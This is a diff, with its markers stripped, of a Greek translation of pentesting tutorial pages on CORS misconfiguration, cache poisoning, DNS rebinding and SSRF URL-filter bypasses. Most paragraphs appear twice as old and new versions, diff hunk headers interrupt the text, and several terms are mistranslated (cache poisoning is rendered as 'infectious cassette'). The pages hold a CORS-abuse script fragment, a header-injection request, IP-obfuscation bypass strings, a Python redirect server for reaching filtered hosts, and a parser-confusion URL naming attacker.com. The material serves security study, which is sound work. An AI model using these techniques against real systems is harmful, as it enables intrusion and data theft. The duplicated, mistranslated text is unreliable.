Έχει παρατηρηθεί ότι η ρύθμιση του `Access-Control-Allow-Credentials` σε **`true`** είναι προαπαιτούμενο για τις περισσότερες **πραγματικές επιθέσεις**. Αυτή η ρύθμιση επιτρέπει στον περιηγητή να στέλνει διαπιστευτήρια και να διαβάζει την απάντηση, ενισχύοντας την αποτελεσματικότητα της επίθεσης. Χωρίς αυτό, το όφελος από το να κάνει ένας περιηγητής ένα αίτημα αντί να το κάνει ο ίδιος μειώνεται, καθώς η εκμετάλλευση των cookies ενός χρήστη γίνεται μη εφικτή.
### Exception: Exploiting Network Location as Authentication
### Εξαίρεση: Εκμετάλλευση Τοποθεσίας Δικτύου ως Αυθεντικοποίηση
Μια εξαίρεση υπάρχει όπου η τοποθεσία δικτύου του θύματος λειτουργεί ως μορφή αυθεντικοποίησης. Αυτό επιτρέπει στον περιηγητή του θύματος να χρησιμοποιηθεί ως μεσολαβητής, παρακάμπτοντας την αυθεντικοποίηση βάσει IP για την πρόσβαση σε εφαρμογές intranet. Αυτή η μέθοδος έχει ομοιότητες στην επίδραση με το DNS rebinding αλλά είναι πιο απλή στην εκμετάλλευση.
Υπάρχει μια εξαίρεση όπου η τοποθεσία δικτύου του θύματος λειτουργεί ως μορφή αυθεντικοποίησης. Αυτό επιτρέπει στον περιηγητή του θύματος να χρησιμοποιείται ως μεσολαβητής, παρακάμπτοντας την αυθεντικοποίηση βάσει IP για την πρόσβαση σε εφαρμογές intranet. Αυτή η μέθοδος έχει ομοιότητες στην επίδραση με την επανασύνδεση DNS αλλά είναι πιο απλή στην εκμετάλλευση.
### Reflection of `Origin` in `Access-Control-Allow-Origin`
### Αντανάκλαση του `Origin` στο `Access-Control-Allow-Origin`
Το σενάριο του πραγματικού κόσμου όπου η τιμή της κεφαλίδας `Origin` αντικατοπτρίζεται στο `Access-Control-Allow-Origin` είναι θεωρητικά απίθανο λόγω περιορισμών στη συνδυαστική χρήση αυτών των κεφαλίδων. Ωστόσο, οι προγραμματιστές που επιθυμούν να ενεργοποιήσουν το CORS για πολλαπλές διευθύνσεις URL μπορεί να δημιουργήσουν δυναμικά την κεφαλίδα `Access-Control-Allow-Origin` αντιγράφοντας την τιμή της κεφαλίδας `Origin`. Αυτή η προσέγγιση μπορεί να εισαγάγει ευπάθειες, ιδιαίτερα όταν ένας επιτιθέμενος χρησιμοποιεί ένα τομέα με όνομα σχεδιασμένο να φαίνεται νόμιμο, παραπλανώντας έτσι τη λογική επικύρωσης.
Το σενάριο του πραγματικού κόσμου όπου η τιμή της κεφαλίδας `Origin` αντανάκλαται στο `Access-Control-Allow-Origin` είναι θεωρητικά απίθανο λόγω περιορισμών στη συνδυαστική χρήση αυτών των κεφαλίδων. Ωστόσο, οι προγραμματιστές που επιθυμούν να ενεργοποιήσουν το CORS για πολλαπλές διευθύνσεις URL μπορεί να δημιουργήσουν δυναμικά την κεφαλίδα `Access-Control-Allow-Origin` αντιγράφοντας την τιμή της κεφαλίδας `Origin`. Αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες, ιδιαίτερα όταν ένας επιτιθέμενος χρησιμοποιεί ένα τομέα με όνομα σχεδιασμένο να φαίνεται νόμιμο, παραπλανώντας έτσι τη λογική επικύρωσης.
```html
<script>
var req = new XMLHttpRequest();
@ -224,7 +224,7 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
### **Ειδικοί Χαρακτήρες**
Η [λίστα ελέγχου παράκαμψης επικύρωσης URL](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) του PortSwigger διαπίστωσε ότι ορισμένοι περιηγητές υποστηρίζουν παράξενους χαρακτήρες μέσα στα ονόματα τομέων.
Η [λίστα ελέγχου παράκαμψης επικύρωσης URL](https://portswigger.net/research/introducing-the-url-validation-bypass-cheat-sheet) της PortSwigger διαπίστωσε ότι ορισμένοι περιηγητές υποστηρίζουν παράξενους χαρακτήρες μέσα στα ονόματα τομέων.
Ο Chrome και ο Firefox υποστηρίζουν τις κάτω παύλες `_` που μπορούν να παρακάμψουν τις κανονικές εκφράσεις που έχουν εφαρμοστεί για να επικυρώσουν την κεφαλίδα `Origin`:
```
@ -251,13 +251,19 @@ Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true
```
### **Server-side cache poisoning**
### **Άλλες αστείες τεχνικές URL**
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
### **Μολυσματική κασέτα από τον διακομιστή**
[**Από αυτή την έρευνα**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Είναι πιθανό ότι εκμεταλλευόμενοι την δηλητηρίαση της cache από τον server μέσω της έγχυσης HTTP headers, μπορεί να προκληθεί μια αποθηκευμένη ευπάθεια Cross-Site Scripting (XSS). Αυτό το σενάριο εκτυλίσσεται όταν μια εφαρμογή αποτυγχάνει να καθαρίσει το header `Origin` από παράνομες χαρακτήρες, δημιουργώντας μια ευπάθεια ιδιαίτερα για τους χρήστες του Internet Explorer και του Edge. Αυτοί οι περιηγητές θεωρούν το (0x0d) ως έναν νόμιμο τερματιστή HTTP header, οδηγώντας σε ευπάθειες έγχυσης HTTP headers.
Είναι πιθανό ότι εκμεταλλευόμενοι τη μολυσματική κασέτα από τον διακομιστή μέσω έγχυσης κεφαλίδας HTTP, μπορεί να προκληθεί μια αποθηκευμένη ευπάθεια Cross-Site Scripting (XSS). Αυτό το σενάριο εκτυλίσσεται όταν μια εφαρμογή αποτυγχάνει να καθαρίσει την κεφαλίδα `Origin` από παράνομες χαρακτήρες, δημιουργώντας μια ευπάθεια ιδιαίτερα για τους χρήστες του Internet Explorer και του Edge. Αυτοί οι περιηγητές θεωρούν το (0x0d) ως έγκυρο τερματιστή κεφαλίδας HTTP, οδηγώντας σε ευπάθειες έγχυσης κεφαλίδας HTTP.
Σκεφτείτε το παρακάτω αίτημα όπου το header `Origin` είναι παραποιημένο:
Σκεφτείτε το παρακάτω αίτημα όπου η κεφαλίδα `Origin` είναι παραποιημένη:
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
@ -268,21 +274,21 @@ HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Ενώ η άμεση εκμετάλλευση αυτής της ευπάθειας με την αποστολή ενός κακοδιαμορφωμένου κεφαλίδας από έναν φυλλομετρητή ιστού δεν είναι εφικτή, ένα κατασκευασμένο αίτημα μπορεί να παραχθεί χειροκίνητα χρησιμοποιώντας εργαλεία όπως το Burp Suite. Αυτή η μέθοδος θα μπορούσε να οδηγήσει σε μια προσωρινή αποθήκευση από τον διακομιστή που αποθηκεύει την απόκριση και ακούσια να την εξυπηρετεί σε άλλους. Ο κατασκευασμένος φορτίο στοχεύει να αλλάξει το σύνολο χαρακτήρων της σελίδας σε UTF-7, μια κωδικοποίηση χαρακτήρων που συχνά σχετίζεται με ευπάθειες XSS λόγω της ικανότητάς της να κωδικοποιεί χαρακτήρες με τρόπο που μπορεί να εκτελείται ως σενάριο σε ορισμένα συμφραζόμενα.
Ενώ η άμεση εκμετάλλευση αυτής της ευπάθειας με την αποστολή ενός κακοδιαμορφωμένου κεφαλίδας από έναν φυλλομετρητή ιστού δεν είναι εφικτή, ένα κατασκευασμένο αίτημα μπορεί να παραχθεί χειροκίνητα χρησιμοποιώντας εργαλεία όπως το Burp Suite. Αυτή η μέθοδος θα μπορούσε να οδηγήσει σε μια προσωρινή αποθήκευση στον διακομιστή που αποθηκεύει την απόκριση και ακούσια να την εξυπηρετεί σε άλλους. Ο κατασκευασμένος φορτίο στοχεύει να αλλάξει το σύνολο χαρακτήρων της σελίδας σε UTF-7, μια κωδικοποίηση χαρακτήρων που συχνά σχετίζεται με ευπάθειες XSS λόγω της ικανότητάς της να κωδικοποιεί χαρακτήρες με τρόπο που μπορεί να εκτελείται ως σενάριο σε ορισμένα συμφραζόμενα.
Για περαιτέρω ανάγνωση σχετικά με τις αποθηκευμένες ευπάθειες XSS, δείτε [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
**Σημείωση**: Η εκμετάλλευση ευπαθειών έγχυσης κεφαλίδων HTTP, ιδιαίτερα μέσω δηλητηρίασης προσωρινής αποθήκευσης από τον διακομιστή, υπογραμμίζει τη ζωτική σημασία της επικύρωσης και απολύμανσης όλων των εισροών που παρέχονται από τον χρήστη, συμπεριλαμβανομένων των κεφαλίδων HTTP. Χρησιμοποιείτε πάντα ένα ισχυρό μοντέλο ασφάλειας που περιλαμβάνει επικύρωση εισροών για την αποφυγή τέτοιων ευπαθειών.
**Σημείωση**: Η εκμετάλλευση ευπαθειών έγχυσης κεφαλίδων HTTP, ιδιαίτερα μέσω δηλητηρίασης προσωρινής αποθήκευσης στον διακομιστή, υπογραμμίζει τη ζωτική σημασία της επικύρωσης και απολύμανσης όλων των εισερχόμενων δεδομένων από χρήστες, συμπεριλαμβανομένων των κεφαλίδων HTTP. Χρησιμοποιείτε πάντα ένα ισχυρό μοντέλο ασφάλειας που περιλαμβάνει επικύρωση εισόδου για την αποφυγή τέτοιων ευπαθειών.
### **Δηλητηρίαση προσωρινής αποθήκευσης πελάτη**
[**Από αυτή την έρευνα**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Σε αυτό το σενάριο, παρατηρείται μια περίπτωση μιας ιστοσελίδας που ανακλά το περιεχόμενο μιας προσαρμοσμένης κεφαλίδας HTTP χωρίς σωστή κωδικοποίηση. Συγκεκριμένα, η ιστοσελίδα ανακλά το περιεχόμενο που περιλαμβάνεται σε μια κεφαλίδα `X-User-id`, η οποία θα μπορούσε να περιλαμβάνει κακόβουλο JavaScript, όπως αποδεικνύεται από το παράδειγμα όπου η κεφαλίδα περιέχει μια ετικέτα εικόνας SVG σχεδιασμένη να εκτελεί κώδικα JavaScript κατά την φόρτωση.
Σε αυτό το σενάριο, παρατηρείται μια περίπτωση μιας ιστοσελίδας που ανακλά το περιεχόμενο μιας προσαρμοσμένης κεφαλίδας HTTP χωρίς σωστή κωδικοποίηση. Συγκεκριμένα, η ιστοσελίδα ανακλά το περιεχόμενο που περιλαμβάνεται σε μια κεφαλίδα `X-User-id`, η οποία θα μπορούσε να περιλαμβάνει κακόβουλο JavaScript, όπως αποδεικνύεται από το παράδειγμα όπου η κεφαλίδα περιέχει μια ετικέτα SVG σχεδιασμένη να εκτελεί κώδικα JavaScript κατά την φόρτωση.
Οι πολιτικές Cross-Origin Resource Sharing (CORS) επιτρέπουν την αποστολή προσαρμοσμένων κεφαλίδων. Ωστόσο, χωρίς η απόκριση να αποδίδεται άμεσα από τον φυλλομετρητή λόγω περιορισμών CORS, η χρησιμότητα μιας τέτοιας έγχυσης μπορεί να φαίνεται περιορισμένη. Το κρίσιμο σημείο προκύπτει όταν εξετάζεται η συμπεριφορά της προσωρινής αποθήκευσης του φυλλομετρητή. Εάν η κεφαλίδα `Vary: Origin` δεν καθορίζεται, καθίσταται δυνατή η προσωρινή αποθήκευση της κακόβουλης απόκρισης από τον φυλλομετρητή. Στη συνέχεια, αυτή η προσωρινά αποθηκευμένη απόκριση θα μπορούσε να αποδοθεί άμεσα κατά την πλοήγηση στη διεύθυνση URL, παρακάμπτοντας την ανάγκη για άμεση απόδοση κατά την αρχική αίτηση. Αυτός ο μηχανισμός ενισχύει την αξιοπιστία της επίθεσης εκμεταλλευόμενος την προσωρινή αποθήκευση από τον πελάτη.
Οι πολιτικές Cross-Origin Resource Sharing (CORS) επιτρέπουν την αποστολή προσαρμοσμένων κεφαλίδων. Ωστόσο, χωρίς η απόκριση να αποδίδεται άμεσα από τον φυλλομετρητή λόγω περιορισμών CORS, η χρησιμότητα μιας τέτοιας έγχυσης μπορεί να φαίνεται περιορισμένη. Το κρίσιμο σημείο προκύπτει όταν εξετάζεται η συμπεριφορά της προσωρινής αποθήκευσης του φυλλομετρητή. Εάν η κεφαλίδα `Vary: Origin` δεν καθορίζεται, καθίσταται δυνατή η προσωρινή αποθήκευση της κακόβουλης απόκρισης από τον φυλλομετρητή. Στη συνέχεια, αυτή η προσωρινά αποθηκευμένη απόκριση θα μπορούσε να αποδοθεί άμεσα κατά την πλοήγηση στη διεύθυνση URL, παρακάμπτοντας την ανάγκη για άμεση απόδοση κατά την αρχική αίτηση. Αυτός ο μηχανισμός ενισχύει την αξιοπιστία της επίθεσης εκμεταλλευόμενος την προσωρινή αποθήκευση πελάτη.
Για να απεικονιστεί αυτή η επίθεση, παρέχεται ένα παράδειγμα JavaScript, σχεδιασμένο να εκτελείται στο περιβάλλον μιας ιστοσελίδας, όπως μέσω ενός JSFiddle. Αυτό το σενάριο εκτελεί μια απλή ενέργεια: στέλνει ένα αίτημα σε μια καθορισμένη διεύθυνση URL με μια προσαρμοσμένη κεφαλίδα που περιέχει το κακόβουλο JavaScript. Μετά την επιτυχή ολοκλήρωση του αιτήματος, προσπαθεί να πλοηγηθεί στη στοχευμένη διεύθυνση URL, ενδεχομένως ενεργοποιώντας την εκτέλεση του εγχυμένου σεναρίου εάν η απόκριση έχει αποθηκευτεί προσωρινά χωρίς σωστή διαχείριση της κεφαλίδας `Vary: Origin`.
Για να απεικονιστεί αυτή η επίθεση, παρέχεται ένα παράδειγμα JavaScript, σχεδιασμένο να εκτελείται στο περιβάλλον μιας ιστοσελίδας, όπως μέσω ενός JSFiddle. Αυτό το σενάριο εκτελεί μια απλή ενέργεια: στέλνει ένα αίτημα σε μια καθορισμένη διεύθυνση URL με μια προσαρμοσμένη κεφαλίδα που περιέχει το κακόβουλο JavaScript. Μετά την επιτυχή ολοκλήρωση του αιτήματος, προσπαθεί να πλοηγηθεί στη στοχευμένη διεύθυνση URL, ενδεχομένως ενεργοποιώντας την εκτέλεση του εισαγόμενου σεναρίου εάν η απόκριση έχει αποθηκευτεί προσωρινά χωρίς σωστή διαχείριση της κεφαλίδας `Vary: Origin`.
Ακολουθεί μια συνοπτική ανάλυση του JavaScript που χρησιμοποιείται για την εκτέλεση αυτής της επίθεσης:
```html
@ -300,11 +306,11 @@ req.send();
### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, γνωστός και ως Cross-Site Script Inclusion, είναι ένας τύπος ευπάθειας που εκμεταλλεύεται το γεγονός ότι η Πολιτική Ίδιων Προελεύσεων (SOP) δεν εφαρμόζεται κατά την συμπερίληψη πόρων χρησιμοποιώντας την ετικέτα script. Αυτό συμβαίνει επειδή τα σενάρια πρέπει να μπορούν να συμπεριληφθούν από διαφορετικά domains. Αυτή η ευπάθεια επιτρέπει σε έναν επιτιθέμενο να έχει πρόσβαση και να διαβάσει οποιοδήποτε περιεχόμενο έχει συμπεριληφθεί χρησιμοποιώντας την ετικέτα script.
XSSI, γνωστό και ως Cross-Site Script Inclusion, είναι ένας τύπος ευπάθειας που εκμεταλλεύεται το γεγονός ότι η Πολιτική Ίδιων Προελεύσεων (SOP) δεν ισχύει όταν περιλαμβάνονται πόροι χρησιμοποιώντας την ετικέτα script. Αυτό συμβαίνει επειδή τα σενάρια πρέπει να μπορούν να περιλαμβάνονται από διαφορετικά domains. Αυτή η ευπάθεια επιτρέπει σε έναν επιτιθέμενο να έχει πρόσβαση και να διαβάσει οποιοδήποτε περιεχόμενο έχει συμπεριληφθεί χρησιμοποιώντας την ετικέτα script.
Αυτή η ευπάθεια γίνεται ιδιαίτερα σημαντική όταν πρόκειται για δυναμικό JavaScript ή JSONP (JSON με Padding), ειδικά όταν χρησιμοποιούνται πληροφορίες ambient-authority όπως τα cookies για την αυθεντικοποίηση. Όταν ζητείται ένας πόρος από έναν διαφορετικό host, τα cookies περιλαμβάνονται, καθιστώντας τα προσβάσιμα στον επιτιθέμενο.
Για να κατανοήσετε καλύτερα και να μετριάσετε αυτή την ευπάθεια, μπορείτε να χρησιμοποιήσετε το plugin BurpSuite που είναι διαθέσιμο στο [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Αυτό το plugin μπορεί να βοηθήσει στην αναγνώριση και την αντιμετώπιση πιθανών ευπαθειών XSSI στις διαδικτυακές σας εφαρμογές.
Για να κατανοήσετε καλύτερα και να μετριάσετε αυτήν την ευπάθεια, μπορείτε να χρησιμοποιήσετε το plugin BurpSuite που είναι διαθέσιμο στο [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Αυτό το plugin μπορεί να βοηθήσει στην αναγνώριση και την αντιμετώπιση πιθανών ευπαθειών XSSI στις διαδικτυακές σας εφαρμογές.
[**Διαβάστε περισσότερα για τους διαφορετικούς τύπους XSSI και πώς να τους εκμεταλλευτείτε εδώ.**](xssi-cross-site-script-inclusion.md)
@ -321,7 +327,7 @@ XSSI, γνωστός και ως Cross-Site Script Inclusion, είναι ένα
### Iframe + Popup Bypass
Μπορείτε να **παρακάμψετε τους ελέγχους CORS** όπως `e.origin === window.origin` δημιουργώντας ένα **iframe** και **από αυτό να ανοίξετε ένα νέο παράθυρο**. Περισσότερες πληροφορίες στη παρακάτω σελίδα:
Μπορείτε να **παρακάμψετε τους ελέγχους CORS** όπως `e.origin === window.origin` δημιουργώντας ένα **iframe** και **από αυτό να ανοίξετε ένα νέο παράθυρο**. Περισσότερες πληροφορίες στη σελίδα που ακολουθεί:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
@ -335,7 +341,7 @@ XSSI, γνωστός και ως Cross-Site Script Inclusion, είναι ένα
2. Ο επιτιθέμενος αλλάζει στη συνέχεια το DNS (IP) του δικού του domain ώστε να δείχνει στη διαδικτυακή σελίδα του θύματος.
3. Ο περιηγητής του θύματος αποθηκεύει την απάντηση DNS, η οποία μπορεί να έχει μια τιμή TTL (Time to Live) που υποδεικνύει πόσο καιρό θα πρέπει να θεωρείται έγκυρο το DNS record.
4. Όταν λήξει το TTL, ο περιηγητής του θύματος κάνει ένα νέο αίτημα DNS, επιτρέποντας στον επιτιθέμενο να εκτελέσει κώδικα JavaScript στη σελίδα του θύματος.
5. Διατηρώντας τον έλεγχο της IP του θύματος, ο επιτιθέμενος μπορεί να συλλέξει πληροφορίες από το θύμα χωρίς να στείλει κανένα cookie στον server του θύματος.
5. Διατηρώντας τον έλεγχο της IP του θύματος, ο επιτιθέμενος μπορεί να συγκεντρώσει πληροφορίες από το θύμα χωρίς να στείλει κανένα cookie στον server του θύματος.
Είναι σημαντικό να σημειωθεί ότι οι περιηγητές έχουν μηχανισμούς caching που μπορεί να αποτρέψουν την άμεση κατάχρηση αυτής της τεχνικής, ακόμη και με χαμηλές τιμές TTL.
@ -343,7 +349,7 @@ XSSI, γνωστός και ως Cross-Site Script Inclusion, είναι ένα
Αν χρειάζεστε έναν γρήγορο τρόπο για να καταχραστείτε την επανασύνδεση DNS, μπορείτε να χρησιμοποιήσετε υπηρεσίες όπως [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
Για να εκτελέσετε τον δικό σας server επανασύνδεσης DNS, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Αυτό περιλαμβάνει την έκθεση της τοπικής θύρας 53/udp, τη δημιουργία ενός A record που δείχνει σε αυτή (π.χ., ns.example.com), και τη δημιουργία ενός NS record που δείχνει στο προηγουμένως δημιουργηθέν A subdomain (π.χ., ns.example.com). Οποιοδήποτε subdomain του ns.example.com θα επιλυθεί από τον host σας.
Για να εκτελέσετε τον δικό σας server επανασύνδεσης DNS, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Αυτό περιλαμβάνει την έκθεση της τοπικής θύρας 53/udp, τη δημιουργία ενός A record που δείχνει σε αυτήν (π.χ., ns.example.com) και τη δημιουργία ενός NS record που δείχνει στο προηγουμένως δημιουργηθέν A subdomain (π.χ., ns.example.com). Οποιοδήποτε subdomain του ns.example.com θα επιλυθεί από τον host σας.
Μπορείτε επίσης να εξερευνήσετε έναν δημόσια λειτουργούντα server στο [http://rebind.it/singularity.html](http://rebind.it/singularity.html) για περαιτέρω κατανόηση και πειραματισμό.
@ -365,10 +371,10 @@ XSSI, γνωστός και ως Cross-Site Script Inclusion, είναι ένα
2. Όταν ένας περιηγητής ελέγχει για αυτά τα records, λαμβάνει και τις δύο διευθύνσεις IP.
3. Αν ο περιηγητής αποφασίσει να χρησιμοποιήσει πρώτα τη διεύθυνση IP του επιτιθέμενου, ο επιτιθέμενος μπορεί να εξυπηρετήσει ένα payload που εκτελεί HTTP αιτήματα στο ίδιο domain.
4. Ωστόσο, μόλις ο επιτιθέμενος αποκτήσει τη διεύθυνση IP του θύματος, σταματά να απαντά στον περιηγητή του θύματος.
5. Ο περιηγητής του θύματος, συνειδητοποιώντας ότι το domain δεν απαντά, προχωρά στη χρήση της δεύτερης δοθείσας διεύθυνσης IP.
6. Με την πρόσβαση στη δεύτερη διεύθυνση IP, ο περιηγητής παρακάμπτει την Πολιτική Ίδιων Προελεύσεων (SOP), επιτρέποντας στον επιτιθέμενο να καταχραστεί αυτό και να συλλέξει και να εξάγει πληροφορίες.
5. Ο περιηγητής του θύματος, συνειδητοποιώντας ότι το domain είναι μη ανταγωνιστικό, προχωρά στη χρήση της δεύτερης δεδομένης διεύθυνσης IP.
6. Με την πρόσβαση στη δεύτερη διεύθυνση IP, ο περιηγητής παρακάμπτει την Πολιτική Ίδιων Προελεύσεων (SOP), επιτρέποντας στον επιτιθέμενο να καταχραστεί αυτό και να συγκεντρώσει και να εξάγει πληροφορίες.
Αυτή η τεχνική εκμεταλλεύεται τη συμπεριφορά των περιηγητών όταν παρέχονται πολλαπλές διευθύνσεις IP για ένα domain. Με στρατηγικό έλεγχο των απαντήσεων και χειραγώγηση της επιλογής διεύθυνσης IP του περιηγητή, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί την SOP και να αποκτήσει πρόσβαση σε πληροφορίες από το θύμα.
Αυτή η τεχνική εκμεταλλεύεται τη συμπεριφορά των περιηγητών όταν παρέχονται πολλαπλές διευθύνσεις IP για ένα domain. Με στρατηγικό έλεγχο των απαντήσεων και χειραγώγηση της επιλογής διεύθυνσης IP του περιηγητή, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί την SOP και να αποκτήσει πληροφορίες από το θύμα.
{% hint style="warning" %}
Σημειώστε ότι για να αποκτήσετε πρόσβαση στο localhost θα πρέπει να προσπαθήσετε να επανασυνδέσετε **127.0.0.1** στα Windows και **0.0.0.0** σε Linux.\
@ -387,16 +393,16 @@ XSSI, γνωστός και ως Cross-Site Script Inclusion, είναι ένα
### DNS Rebidding Weaponized
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με τις προηγούμενες τεχνικές παράκαμψης και πώς να χρησιμοποιήσετε το παρακάτω εργαλείο στην ομιλία [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με τις προηγούμενες τεχνικές παράκαμψης και πώς να χρησιμοποιήσετε το ακόλουθο εργαλείο στην ομιλία [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) είναι ένα εργαλείο για την εκτέλεση επιθέσεων [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Περιλαμβάνει τα απαραίτητα στοιχεία για να επανασυνδέσει τη διεύθυνση IP του DNS name του server επίθεσης στη διεύθυνση IP της στοχευμένης μηχανής και να εξυπηρετήσει payloads επίθεσης για να εκμεταλλευτεί ευάλωτο λογισμικό στη στοχευμένη μηχανή.
### Real Protection against DNS Rebinding
* Χρησιμοποιήστε TLS σε εσωτερικές υπηρεσίες
* Ζητήστε αυθεντικοποίηση για πρόσβαση σε δεδομένα
* Ζητήστε αυθεντικοποίηση για την πρόσβαση σε δεδομένα
* Επικυρώστε την κεφαλίδα Host
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Πρόταση για πάντα να στέλνετε ένα προ-αίτημα όταν οι δημόσιοι servers θέλουν να έχουν πρόσβαση σε εσωτερικούς servers
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Πρόταση για την αποστολή ενός προ-αίτηματος όταν οι δημόσιοι servers θέλουν να έχουν πρόσβαση σε εσωτερικούς servers
## **Tools**

View file

@ -60,6 +60,10 @@ http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001
# Mixed encodings bypass
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
0xA9.254.0251.0376 -> hexadecimal, decimal and octal
# Add 0s bypass
127.000000000000.1
@ -166,12 +170,14 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
### Automatic Custom Wordlists
Δείτε το [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) από την portswigger όπου μπορείτε να εισάγετε τον επιτρεπόμενο host και τον επιτιθέμενο και θα δημιουργήσει μια λίστα URLs για να δοκιμάσετε. Επίσης, εξετάζει αν μπορείτε να χρησιμοποιήσετε το URL σε μια παράμετρο, σε ένα Host header ή σε ένα CORS header.
Δείτε το [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) από το portswigger όπου μπορείτε να εισάγετε τον επιτρεπόμενο host και τον επιτιθέμενο και θα δημιουργήσει μια λίστα URLs για να δοκιμάσετε. Επίσης, εξετάζει αν μπορείτε να χρησιμοποιήσετε το URL σε μια παράμετρο, σε ένα Host header ή σε ένα CORS header.
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
### Bypass via redirect
Είναι πιθανό ο διακομιστής να **φιλτράρει το αρχικό αίτημα** ενός SSRF **αλλά όχι** μια πιθανή **απάντηση ανακατεύθυνσης** σε αυτό το αίτημα.\
Για παράδειγμα, ένας διακομιστής ευάλωτος σε SSRF μέσω: `url=https://www.google.com/` μπορεί να **φιλτράρει την παράμετρο url**. Αλλά αν χρησιμοποιήσετε έναν [διακομιστή python για να απαντήσει με 302](https://pastebin.com/raw/ywAUhFrv) στο σημείο όπου θέλετε να ανακατευθύνετε, μπορεί να είστε σε θέση να **έχετε πρόσβαση σε φιλτραρισμένες διευθύνσεις IP** όπως 127.0.0.1 ή ακόμα και φιλτραρισμένα **πρωτόκολλα** όπως το gopher.\
Για παράδειγμα, ένας διακομιστής ευάλωτος σε SSRF μέσω: `url=https://www.google.com/` μπορεί να **φιλτράρει την παράμετρο url**. Αλλά αν χρησιμοποιήσετε έναν [python server για να απαντήσει με 302](https://pastebin.com/raw/ywAUhFrv) στο σημείο όπου θέλετε να ανακατευθύνετε, μπορεί να είστε σε θέση να **πρόσβαση σε φιλτραρισμένες διευθύνσεις IP** όπως 127.0.0.1 ή ακόμα και φιλτραρισμένα **πρωτόκολλα** όπως το gopher.\
[Δείτε αυτή την αναφορά.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -197,11 +203,15 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
### Blackslash-trick
Το _backslash-trick_ εκμεταλλεύεται μια διαφορά μεταξύ του [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) και του [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Ενώ το RFC3986 είναι ένα γενικό πλαίσιο για URIs, το WHATWG είναι συγκεκριμένο για web URLs και έχει υιοθετηθεί από σύγχρονους περιηγητές. Η βασική διάκριση έγκειται στην αναγνώριση του backslash (`\`) από το WHATWG standard ως ισοδύναμου με το forward slash (`/`), επηρεάζοντας τον τρόπο που αναλύονται τα URLs, συγκεκριμένα σημειώνοντας τη μετάβαση από το hostname στο path σε ένα URL.
Η _backslash-trick_ εκμεταλλεύεται μια διαφορά μεταξύ του [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) και του [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Ενώ το RFC3986 είναι ένα γενικό πλαίσιο για URIs, το WHATWG είναι συγκεκριμένο για web URLs και έχει υιοθετηθεί από σύγχρονους περιηγητές. Η βασική διάκριση έγκειται στην αναγνώριση του backslash (`\`) από το WHATWG standard ως ισοδύναμου με το forward slash (`/`), επηρεάζοντας τον τρόπο που αναλύονται τα URLs, συγκεκριμένα σημειώνοντας τη μετάβαση από το hostname στο path σε ένα URL.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
### Άλλες Συγχύσεις
### Αριστερό τετράγωνο αγκύλη
Ο χαρακτήρας “αριστερή τετράγωνη αγκύλη” `[` στο τμήμα userinfo μπορεί να προκαλέσει την UriComponentsBuilder του Spring να επιστρέψει μια τιμή hostname που διαφέρει από τους περιηγητές: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
### Άλλες Σύγχυσεις
